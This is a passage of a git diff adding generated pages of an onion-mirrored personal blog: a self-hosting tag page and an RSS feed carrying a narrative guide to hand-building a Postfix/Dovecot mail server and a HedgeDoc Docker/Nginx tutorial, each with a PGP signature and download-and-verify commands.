    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/security/page/1/index.html b/public-onion/tags/security/page/1/index.html new file mode 100644 index 0000000..836f4cc --- /dev/null +++ b/public-onion/tags/security/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/security/ + + + + + + diff --git a/public-onion/tags/self-hosting/index.html b/public-onion/tags/self-hosting/index.html new file mode 100644 index 0000000..a2047f8 --- /dev/null +++ b/public-onion/tags/self-hosting/index.html @@ -0,0 +1,406 @@ + + + + + + + +Self-Hosting | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/self-hosting/index.xml b/public-onion/tags/self-hosting/index.xml new file mode 100644 index 0000000..eaded35 --- /dev/null +++ b/public-onion/tags/self-hosting/index.xml @@ -0,0 +1,683 @@ + + + + Self-Hosting on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + Recent content in Self-Hosting on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
